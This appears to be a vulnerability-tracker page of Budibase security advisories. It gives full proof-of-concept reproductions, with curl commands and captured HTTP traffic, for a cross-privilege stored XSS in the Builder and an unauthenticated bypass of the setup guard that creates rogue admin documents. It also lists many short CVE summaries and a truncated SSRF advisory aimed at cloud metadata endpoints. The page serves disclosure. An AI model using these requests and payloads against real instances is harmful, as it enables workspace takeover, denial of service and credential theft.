See how budibase compares to other vendors in security performance
Description
Summary
A low-privileged application end-user (role BASIC - not a builder or admin, and on a public data-collection form, an unauthenticated visitor) can store an HTML/JavaScript payload in ordinary row data. When a builder or admin later opens that table in the Budibase Builder and evaluates any Handlebars binding whose Preview surfaces the value (the Data-section Formula column editor, or any binding drawer), the stored value is rendered as raw HTML and the attacker's JavaScript executes in the Builder's origin.
The Builder SPA is served by nginx with no Content-Security-Policy (the CSP middleware only decorates the server-rendered published-app document, not /builder/). The injected script therefore runs unrestricted in the highest-trust surface of the product - the admin/builder session that can create datasources, run server-side JavaScript via automations, read and modify every table, and manage users. This is a cross-privilege stored XSS (app end-user → builder/admin), i.e. full workspace takeover, not self-XSS.
Details
Root cause 1 - the escaper is a no-op. packages/frontend-core/src/utils/jsonFormatter.ts (format()):
js jsonString = jsonString .replace(/&/g, "&") // no-op: replaces "&" with "&" (should be "&") .replace(/</g, "<") // no-op (should be "<") .replace(/>/g, ">") // no-op (should be ">")
return jsonString.replace( /("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])"(\s:)?|\b(true|false|null)\b|-?\d+...)/g, (match) => { if (/^"/.test(match)) { if (/:$/.test(match)) { color = colors.keyColor } // KEY: NOT escaped else { match = '"' + escapeHtml(match.substr(1, match.length - 2)) + '"' } // string VALUE: escaped } return <span style="...">${match}</span> })
Only quoted JSON string values are passed through escapeHtml. Everything else is emitted verbatim, because the leading .replace(/&/g,"&")… chain replaces each character with itself. Two consequences:
1. A raw, non-JSON string (the normal result of a Handlebars binding that resolves to a plain text field value) matches none of the regex tokens and is returned completely un-escaped. 2. Object keys are never escaped.
Root cause 2 - the output is injected with {@html}. packages/builder/src/components/common/bindings/EvaluationSidePanel.svelte:
- line 116: {@html logLine.log} - line 128: {@html highlightedResult}
highlightedResult is the output of JsonFormatter.format(), so the un-escaped attacker string is inserted into the DOM as live markup.
Root cause 3 - binding output is not entity-escaped upstream. Every {{ … }} statement is wrapped by the ALL helper in packages/string-templates/src/helpers/index.ts, which returns a Handlebars.SafeString; Handlebars therefore performs no HTML escaping, and the raw field value reaches the formatter/{@html} sink.
Root cause 4 - no CSP on the Builder. GET /builder/ is served as a static SPA by nginx with no Content-Security-Policy header (verified live below). The contentSecurityPolicy middleware (packages/backend-core/src/middleware/contentSecurityPolicy.ts) only sets a nonce-based CSP on the server-rendered published-app document (serveApp). So in the Builder origin there is no script-src restriction and inline event handlers run freely.
Cross-privilege data channel. Internal-table dev/prod data live in separate databases, but external datasources are queried live and shared between the published app (where low-priv users write) and the Builder's dev preview (where the value is rendered). A BASIC app user writing to an external SQL table that a data-collection app exposes for writes therefore lands the payload directly in the Builder's evaluation context. RowUtils.generateGoldenSample() even prefers the longest string per column, guaranteeing a long payload is the sample the Preview evaluates.
Payload shape note. jsonFormatter.format() tokenises quoted strings, digits and true/false/null into <span>s, which would fragment a handler containing them. A payload free of double-quotes, digits and those literals - e.g. <img src=x onerror=alert(window.xssproof=document.domain)> - survives verbatim and executes.
PoC
Environment used for this reproduction (all values real / unredacted):
| Item | Value | |------|-------| | Target | http://127.0.0.1:3014 (self-host single image, Budibase v3.44.0, commit d1ed6085) | | Dev app id | appdevcc322a9cd27a492eb934f43b146c6e81 | | Prod app id | appcc322a9cd27a492eb934f43b146c6e81 | | External Postgres table | datasourceplus727522c5a46f4ff8940dfaf539bad4c8userstbl | | Attacker (low-priv BASIC) | lowuser@budibase.local / LowUser!2026#bb | | Victim (builder/admin) | admin@budibase.local / LabAdmin!2026#bb |
---
Step 0 - (precondition, performed once by the builder) a data-collection app grants BASIC write on the table
bash grant the low user BASIC role on the app curl -s -b creds/admin.cookies -H "Content-Type: application/json" -X POST \ http://127.0.0.1:3014/api/global/users \ -d '{"id":"usdf036f58299242608f665700b1618057","rev":"1-f24520b49fae0a6f4a23dced7a82fcc8","email":"lowuser@budibase.local","builder":{"global":false},"admin":{"global":false},"roles":{"appcc322a9cd27a492eb934f43b146c6e81":"BASIC"},"tenantId":"default","status":"active"}'
open write permission on the table to BASIC (typical of feedback/survey/contact apps) curl -s -b creds/admin.cookies -H "x-budibase-app-id: appdevcc322a9cd27a492eb934f43b146c6e81" -X POST \ "http://127.0.0.1:3014/api/permission/BASIC/datasourceplus727522c5a46f4ff8940dfaf539bad4c8userstbl/write"
curl -s -b creds/admin.cookies -H "x-budibase-app-id: appdevcc322a9cd27a492eb934f43b146c6e81" -X POST \ "http://127.0.0.1:3014/api/applications/appdevcc322a9cd27a492eb934f43b146c6e81/publish"
---
Step 1 - ATTACKER logs in (low-priv BASIC user)
bash curl -s -i -c creds/low.cookies -H "Content-Type: application/json" -X POST \ http://127.0.0.1:3014/api/global/auth/default/login \ -d '{"username":"lowuser@budibase.local","password":"LowUser!2026#bb"}'
Burp - Request
http POST /api/global/auth/default/login HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 71
{"username":"lowuser@budibase.local","password":"LowUser!2026#bb"}
Burp - Response
http HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Sep 2026 07:20:45 GMT Content-Type: application/json; charset=utf-8 Content-Length: 30 Connection: keep-alive x-budibase-tenant-id: default Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-MxdOBpz2dboRRziY-XzmGA; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly Set-Cookie: budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly x-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-MxdOBpz2dboRRziY-XzmGA
{"message":"Login successful"}
The low user's session JWT (decoded payload) confirms builder/admin are absent - this is an ordinary app user:
json {"userId":"usdf036f58299242608f665700b1618057","sessionId":"4aacd94d0b444b81937d13150251 29e0","tenantId":"default","email":"lowuser@budibase.local","iat":1788333645,"exp":1788938445}
---
Step 2 - ATTACKER stores the XSS payload into the shared external table (via the published/prod app id)
bash curl -s -i -b creds/low.cookies \ -H "x-budibase-app-id: appcc322a9cd27a492eb934f43b146c6e81" \ -H "Content-Type: application/json" -X POST \ "http://127.0.0.1:3014/api/datasourceplus727522c5a46f4ff8940dfaf539bad4c8userstbl/rows" \ -d '{"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"}'
Burp - Request
http POST /api/datasourceplus727522c5a46f4ff8940dfaf539bad4c8userstbl/rows HTTP/1.1 Host: 127.0.0.1:3014 x-budibase-app-id: appcc322a9cd27a492eb934f43b146c6e81 Content-Type: application/json Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-MxdOBpz2dboRRziY-XzmGA; budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY Content-Length: 87
{"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"}
Burp - Response
http HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Sep 2026 07:20:53 GMT Content-Type: application/json; charset=utf-8 Content-Length: 196 Connection: keep-alive x-budibase-tenant-id: default
{"id":7,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld","id":"%5B7%5D","tableId":"datasourceplus727522c5a46f4ff8940dfaf539bad4c8userstbl","rev":"rev"}
The payload is stored verbatim as row id=7 in the shared Postgres table. The server performs no output-encoding or sanitisation of the name value.
---
Step 3 - proof the value crosses the trust boundary (VICTIM builder/admin reads the same row)
bash admin login curl -s -i -c creds/admin.cookies -H "Content-Type: application/json" -X POST \ http://127.0.0.1:3014/api/global/auth/default/login \ -d '{"username":"admin@budibase.local","password":"LabAdmin!2026#bb"}'
admin reads the row set from the DEV plane (what the Builder renders) curl -s -b creds/admin.cookies \ -H "x-budibase-app-id: appdevcc322a9cd27a492eb934f43b146c6e81" \ "http://127.0.0.1:3014/api/datasourceplus727522c5a46f4ff8940dfaf539bad4c8userstbl/rows"
Burp - admin login Response (real admin session JWT)
http HTTP/1.1 200 OK Server: nginx x-budibase-tenant-id: default Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk; path=/; httponly Set-Cookie: budibase:auth.sig=iYVS67Sat7FptqQAprWzDE0Hs2o; path=/; httponly x-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk
{"message":"Login successful"}
Burp - rows Response (admin reads the low-priv-authored payload - same string, cross-privilege)
http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8
[{"id":1,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":2,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":5,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":6,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...}, {"id":7,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld",...}]
---
Step 4 - confirm the Builder origin ships NO Content-Security-Policy
bash curl -s -D - -o /dev/null http://127.0.0.1:3014/builder/
Burp - Response (note the complete absence of any Content-Security-Policy header)
http HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Sep 2026 07:21:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Last-Modified: Thu, 27 Aug 2026 14:26:10 GMT Cache-Control: max-age=0 Content-Encoding: gzip
---
Step 5 - VICTIM triggers execution (builder/admin, in the browser)
Logged into the Builder as admin@budibase.local, the victim opens the shared table and evaluates a binding over it - the ordinary workflow for building a Formula column:
1. Open the app → Data tables → datasource LabPG → table userstbl. 2. Click the + to add a column, name it (e.g. xsscol), set Type = Formula. 3. Click the lightning (binding) icon on the Formula field → the binding drawer opens. 4. In the code editor type: {{ name }} 5. Click the play (▶ / evaluate) button.
The right-hand Preview panel renders the stored value through JsonFormatter.format() → {@html}. The injected <img> is inserted as a live DOM element; its onerror fires and the attacker's JavaScript runs in the Builder origin.
Observed result (captured live in the reproduction):
window.xsscalls = ["localhost"] // alert() was called with document.domain window.xssproof = "localhost" // attacker JS mutated the Builder's window object document.domain = "localhost" // execution context = the BUILDER origin location.href = http://localhost:3014/builder/workspace/appdevcc322a9cd27a492eb934f43b146c6e81/data/table/...
Popup - alert(document.domain) firing in the Builder origin, with the injected <img> visible as a broken-image element in the Preview panel:
!F4 stored XSS – alert popup in the Budibase Builder <img width="1536" height="674" alt="F4-xss-alert-popup" src="https://github.com/user-attachments/assets/c9f7932b-0b1c-4165-863f-24e0bf8dceb7" />
Screenshot note: the browser used for automated reproduction is headless, and native alert() dialogs are not captured by page-level screenshots. window.alert was therefore wrapped with a faithful, screenshot-capturable popup that displays exactly the argument the injected script passed to alert(). The execution itself is 100% genuine and unmodified - the payload's onerror handler ran, called alert(), and set window.xssproof on the real Builder window (see the observed values above). The broken-image glyph in the Preview pane is the attacker-controlled <img src=x> inserted by the {@html} sink.
Impact
Type: Cross-privilege Stored / persistent Cross-Site Scripting (XSS) in the application builder.
Who is impacted: any self-hosted (or cloud) Budibase workspace that exposes an external-datasource table for writes to lower-privileged roles - the standard pattern for feedback forms, contact/lead capture, surveys, support tickets, registration, and any "data collection" app. On such apps the writer can be a BASIC app user or, when the write screen is public, an unauthenticated visitor.
What the attacker gains: the payload executes in the Builder/admin session, an origin with no CSP. From there the attacker's JavaScript can silently drive every authenticated Builder API in the victim's context, e.g.:
- create a REST/SQL datasource or an automation step that runs server-side JavaScript / Bash → remote code execution on the server; - read or modify every table in the workspace (full data exfiltration / tampering); - escalate the attacker's own account (or create a new one) to builder/admin; - pivot to the underlying CouchDB/MinIO/Redis via server-side automation.
Description
Summary
On a self-hosted, single-tenant Budibase instance (multiTenancy:false), the public bootstrap endpoint POST /api/global/users/init remains fully exploitable after the instance has been provisioned. Its "already initialised" guard (checkAnyUserExists()) is evaluated inside a tenant-scoped database context derived from an attacker-controlled tenantId in the request body. Because the tenancy layer never constrains that tenantId to the only legitimate tenant (default) on a single-tenant deployment, an unauthenticated attacker simply supplies any unused tenant name to make the guard see an empty user list, and the endpoint then creates a brand-new CouchDB database (<tenantId>global-db) and a global-admin user document (admin.global = true, builder.global = true) inside it - with no authentication and no CSRF token.
This is (a) a bypass of the security control meant to permanently close first-run setup, and (b) an unauthenticated, persistent write primitive that lets an anonymous attacker create an unbounded number of databases and admin-user documents - a resource-exhaustion / denial-of-service vector against the CouchDB datastore, plus creation of latent rogue admin accounts.
Details
Root cause chain (source, tag v3.44.0):
1. packages/worker/src/api/index.ts:41 - POST /api/global/users/init is in PUBLICENDPOINTS, so auth.buildAuthMiddleware(PUBLICENDPOINTS) marks it publicEndpoint and the "no public access to worker" gate (api/index.ts:159-165) lets it through without any session. It is also in NOTENANCYENDPOINTS (api/index.ts:83), so the tenancy middleware does not pin the request to default - the tenant is taken verbatim from the request body - and in NOCSRFENDPOINTS. 2. packages/worker/src/middleware/cloudRestricted.ts:10,25 - the cloudRestricted guard only enforces the internal API key when !env.SELFHOSTED && !env.DISABLEACCOUNTPORTAL. On a self-hosted instance (SELFHOSTED=true) it is a no-op (return next()), so cloudRestrictedRoutes provides no protection here. 3. packages/worker/src/api/routes/global/users.ts:69-79 - cloudRestrictedRoutes.post("/api/global/users/init", … controller.adminUser). 4. packages/worker/src/api/controllers/global/users.ts:232 - the handler runs await tenancy.doInTenant(tenantId, …) using the attacker-supplied tenantId. 5. packages/worker/src/api/controllers/global/users.ts:238 - the only guard, const userExists = await checkAnyUserExists(), throws 403 only if a user exists in the current tenant context. 6. packages/worker/src/utilities/users.ts:3-15 - checkAnyUserExists() calls tenancy.getGlobalDB(), which resolves to <tenantId>global-db. For any unused tenantId this DB is empty → the guard passes → userSdk.db.createAdminUser(email, tenantId, …) (users.ts:247) creates a full global admin.
The defect is incorrect authorization scoping: the single-tenant deployment invariant ("only tenant default exists; init is one-time") is never enforced against the request-supplied tenantId, so the guard is evaluated against a namespace the attacker chooses.
Configuration confirmed via GET /api/system/environment → {"multiTenancy":false,"cloud":false,"disableAccountPortal":false,"isDev":false}.
PoC
Target http://127.0.0.1:3014 (Budibase v3.44.0-cloud.2). No credentials, no cookies, no CSRF token. All values real, captured live on 2026-09-02; nothing redacted.
---
Step 1 - BASELINE: the guard correctly blocks re-init of the real tenant (default)
bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}'
Burp - Request
http POST /api/global/users/init HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 82
{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}
Burp - Response
http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8
{"message":"You cannot initialise once an global user has been created.","status":403}
---
Step 2 - PAYLOAD: supply any unused tenantId → the guard is bypassed and a global admin is created, fully unauthenticated
bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'
Burp - Request
http POST /api/global/users/init HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 78
{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}
Burp - Response
http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8
{"id":"usd0c2b6c9014a43e2899a2770d2e6280c","rev":"1-554ff75f0064fb15f92e341faad7263b","email":"pwn-f7poc@evil.test"}
The single differential - tenantId:"default" → 403, tenantId:"f7poc" → 200 with a persisted us… id - is the whole bug: the one-time-setup guard is scoped to a namespace the attacker chooses.
---
Step 3 - the write persisted: re-init of the same tenant now hits the (per-tenant) guard
bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-f7pocb@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'
Burp - Response
http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8
{"message":"You cannot initialise once an global user has been created.","status":403}
Each unique tenantId is a fresh write primitive - an attacker loops tenantId=a0001,a0002,… to create unbounded databases + admin docs (DoS).
---
Step 4 & 5 - datastore side-effect: a new <tenant>global-db and a real global-admin document
Read directly from CouchDB inside the container ($COUCHDBURL = http://admin:…@127.0.0.1:5984):
GET /alldbs => [ "appcc322a9cd27a492eb934f43b146c6e81", "appdevcc322a9cd27a492eb934f43b146c6e81", "f7pocglobal-db", <-- created by the unauthenticated init call (tenantId=f7poc) "global-db" <-- legitimate default-tenant global DB ]
rogue DB 'f7pocglobal-db' present: True
The document created in f7pocglobal-db is a full global admin:
json { "id": "usd0c2b6c9014a43e2899a2770d2e6280c", "email": "pwn-f7poc@evil.test", "admin": { "global": true }, "builder": { "global": true }, "tenantId": "default", "roles": {} }
---
Step 6 - ceiling check (honest): the injected admin cannot log in while multi-tenancy is off
bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/auth/f7poc/login' \ -H 'Content-Type: application/json' \ -d '{"username":"pwn-f7poc@evil.test","password":"Pwned!2026#bb"}'
Burp - Response
http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8
{"message":"Invalid credentials","status":403}
With multiTenancy:false the login flow forces the default tenant, so the injected admin is not usable to log into the running default-tenant instance. The provable impact is therefore control-bypass + unauthenticated persistent datastore writes / DoS + creation of rogue admin accounts that become active if multi-tenancy is later enabled or during tenant-iterating operations (restore/migration).
Impact
Type: Missing/incorrect authorization on a critical function - unauthenticated bypass of the one-time initialization guard, yielding anonymous global-admin-document and database creation.
Who is impacted: every self-hosted single-tenant Budibase instance exposing the worker API (via the front nginx). Any unauthenticated network attacker can: - defeat the first-run setup lock that is supposed to be permanently closed after provisioning; - create global-admin user documents in attacker-named tenants with no credentials (latent rogue admins that activate if multi-tenancy is enabled or during migration/restore); - create an unbounded number of CouchDB databases (<rand>global-db) and documents - a resource-exhaustion / DoS vector against the datastore (disk, inodes, file descriptors, the dbs metadata shard).
Budibase is an open-source low-code platform. Prior to 3.35.4, the authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL. This vulnerability is fixed in 3.35.4.
Budibase versions before 3.41.3 contain a remote code execution vulnerability in plugin handling that allows authenticated admin users to execute arbitrary code by uploading a malicious plugin tarball. The server calls eval() on plugin JavaScript files without sandboxing in the main Node.js process, enabling attackers to exfiltrate environment variables and credentials with root privileges in default deployments.
Budibase versions before 3.41.3 contain a missing authorization vulnerability in the POST /api/resources/duplicate endpoint that allows authenticated builders to inject tables, automations, queries, and screens into any other application without holding any role in the destination workspace. Attackers can inject resources by specifying an arbitrary destination workspace ID in the request body, then trigger injected automations with outgoing webhooks to exfiltrate data from victim applications.
Budibase Server before 3.41.3 contains a server-side request forgery vulnerability in the datasource verify endpoint that allows builder-level users to supply arbitrary URLs without SSRF validation. Attackers can exploit this to leak internal CouchDB credentials by making requests to attacker-controlled servers, gaining full database access in cloud deployments.
Budibase backend-core (@budibase/backend-core, as used by @budibase/server) omits the shared address space range 100.64.0.0/10 from its default SSRF blacklist (DEFAULTBLACKLIST) used by REST datasource query previews. When the default blacklist is active (i.e., a self-hosted deployment has not defined BLACKLISTIPS), an authenticated user with the Builder permission can submit a REST datasource query preview request to POST /api/queries/preview targeting a reachable HTTP(S) service in the 100.64.0.0/10 range, causing the server to send a request to that target and return its response through the preview flow. Per the advisory, no released fix was identified at the time of publication; remediation is to add 100.64.0.0/10 to DEFAULTBLACKLIST.
Budibase Server before 3.41.3 contains a server-side request forgery vulnerability in the query import endpoint that fails to validate user-supplied URLs before fetching content. Attackers can submit arbitrary URLs to retrieve responses from internal services including cloud metadata endpoints and other restricted network resources.
Budibase before 3.41.3 fails to enforce role-based authorization on license management endpoints, allowing any authenticated user to delete license keys or manipulate offline tokens. Attackers with basic user privileges can access /api/global/license/ endpoints to disable premium features and downgrade deployments for all users.
Budibase before 3.41.3 fails to enforce per-table role restrictions on the POST /api/datasources/query endpoint, allowing low-privilege BASIC users to read, create, update, or delete rows in any table regardless of configured permissions. Attackers with BASIC role can submit crafted query requests with target table identifiers to bypass table-level access controls and manipulate restricted data.
Budibase before 3.41.3 fails to validate app-scoped builder role assignments in the public user create and update endpoints, allowing an authenticated app-scoped builder to grant builder access to unrelated apps. Attackers can submit crafted requests to the user update API with builder.apps fields to escalate privileges and gain unauthorized builder access to other applications in the same tenant.
Budibase Server before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB query execution endpoint where user-supplied parameters are interpolated into JSON query templates without proper sanitization of JSON metacharacters. Attackers with query write permission can inject JSON structural characters to alter MongoDB queries, bypassing filters to read, modify, or delete arbitrary documents.
Budibase before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB datasource integration where user-supplied parameters are enriched with handlebars using noEscaping: true and parsed without operator filtering. Attackers can inject MongoDB operators through query parameters to bypass per-user access controls, read arbitrary documents, execute JavaScript via $where operators, or modify collections through update and delete operations.
Budibase before 3.40.0 contains server-side request forgery vulnerabilities in OpenAPI query import and REST query execution that allow authenticated builder-level users to bypass DNS pinning protections through DNS rebinding attacks. Attackers can configure hostnames that resolve to public addresses during validation but resolve to loopback or private addresses during actual connection, allowing access to blocked internal HTTP services.
Budibase versions 3.39.4 before 3.40.0 contain an authorization regression in the S3 attachment upload endpoint that allows BASIC users to obtain S3 PutObject presigned URLs by sending POST requests to the attachments endpoint. The route was changed from a BUILDER permission check to a TABLE/WRITE check, which BASIC users hold by default. Attackers can specify arbitrary S3 buckets in the request body to generate presigned URLs for writing to any bucket accessible by the stored IAM credentials, enabling unauthorized file uploads.
Budibase before 3.40.0 fails to properly sanitize S3 object keys, allowing authenticated builders to upload files with traversal sequences that are preserved during export. Attackers can craft filenames containing .. segments that escape the temporary directory during workspace export, writing arbitrary content to any path writable by the Budibase process.
Budibase before 3.40.0 contains a cross-site request forgery vulnerability in the chat-link handoff endpoint that allows attackers to bind an external chat identity to a victim's account. Attackers can craft a phishing page that auto-submits a POST request with a leaked confirmation token to bind their chat identity to a victim user's account, enabling impersonation within agent operations and inheritance of victim permissions.
Budibase before 3.40.0 contains an unauthenticated SQL injection vulnerability in webhook-triggered automations with EXECUTEQUERY steps. Attackers can POST attacker-controlled JSON to the webhook trigger endpoint to inject SQL payloads that execute with builder-configured database credentials, enabling data exfiltration, modification, and persistence in connected datasources like Snowflake.
Budibase server before 3.45.0 contains a cross-tenant information disclosure vulnerability in the GET /api/applications/:appId/appPackage endpoint that allows authenticated users to read another tenant's application metadata and source code. Attackers can supply a victim tenant's app id to retrieve sensitive application details including navigation structure, role names, internal screen URLs, JavaScript snippets, and user identifiers without authorization checks.
Budibase Server before 3.45.0 fails to redact plaintext datasource credentials before broadcasting external table updates to the Builder collaboration websocket room. Attackers with Builder access can intercept unredacted datasource objects containing database passwords and API keys by observing table save or delete operations.
Budibase versions before 3.45.0 fail to validate per-app authorization in the POST /api/global/groups/:groupId/apps endpoint, allowing builders to assign application roles across workspace boundaries. A builder of a single workspace can exploit missing per-app authorization checks to grant themselves admin roles in other workspaces by modifying user group role mappings.
Budibase versions before 3.45.0 fail to disable external JSON reference resolution in the OpenAPI/Swagger import validator, allowing authenticated builders to read arbitrary local files. Attackers with builder access can embed file:// references in OpenAPI specifications submitted to the import endpoint to exfiltrate sensitive files including environment variables containing JWT secrets, API keys, and database credentials.
Budibase before 3.45.0 contains an unauthenticated server-side request forgery and credential exfiltration vulnerability in the Microsoft Teams webhook endpoint that accepts forged Bot Framework activities with arbitrary serviceUrl values. Attackers can submit a crafted POST request to inject an attacker-controlled serviceUrl that is persisted and used for all subsequent bot replies, causing the server to send live Microsoft OAuth access tokens in Authorization headers to the attacker's host and enabling blind internal network access.
Budibase versions 3.41.0 before 3.45.0 contain an authentication bypass in the OIDC/SSO login path of @budibase/server. In sso.authenticate, when no existing user matches the incoming SSO subject, the server looks up pending user invites by the IdP-asserted email address alone — without validating an invite code and without an emailverified check (the emailverified gate protects only the existing-account lookup). An attacker who can register at an IdP that the tenant trusts for OIDC and assert a victim's invited email address (even with emailverified=false) claims the pending invite and inherits all of its granted privileges, including builder and admin.global, with no admin exclusion. This results in takeover of the invited principal and, for admin invites, full tenant compromise (access to all apps, datasources including production credentials, and automations); the invite is consumed, denying onboarding to the legitimate invitee.
Budibase before 3.45.0 fails to properly scope the GET /api/chat-links endpoint by workspace, allowing builders to enumerate chat identity link records across all workspaces in a tenant. Attackers with builder access to a single workspace can retrieve sensitive chat identity linking data including user IDs and external chat service identifiers from other workspaces they have no permission to access.
Budibase Server before 3.45.0 contains an arbitrary file write vulnerability in the PWA icon upload endpoint that extracts user-supplied ZIP archives without proper symlink validation. Attackers with BUILDER role can craft a malicious ZIP with leaf symlink entries followed by duplicate file entries to write arbitrary files as root, enabling remote code execution.
Summary The REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration.
Details
The vulnerable handler is in packages/server/src/api/controllers/query.ts (preview()). It reads fields.path from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:
fields.path → RestClient.read({ path }) → node-fetch(path)
No blocklist exists for: - Loopback (127.0.0.1, ::1) - RFC 1918 ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x) - Link-local / cloud metadata (169.254.x.x) - Internal Kubernetes DNS (.svc.cluster.local)
The datasourceId field must reference an existing REST-type datasource. This is trivially obtained via GET /api/datasources (lists all datasources with their IDs) or created on-demand with a single POST — no base URL is required and fields.path overrides it entirely.
PoC
Step 1 — Get session token http POST /api/global/auth/default/login HTTP/1.1 Host: budibase.dev.com Content-Type: application/json
{"username": "admin@example.com", "password": "password"} Response sets Cookie: budibase:auth=<JWT>.
Step 2 — Get a REST datasourceId http GET /api/datasources HTTP/1.1 Host: budibase.dev.com Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJW80JU0AJqdCCZlAPRPlKLVs x-budibase-app-id: appdev3dbfeba315fd4baa8fb6202fe517e93b Pick any id where "source": "REST".
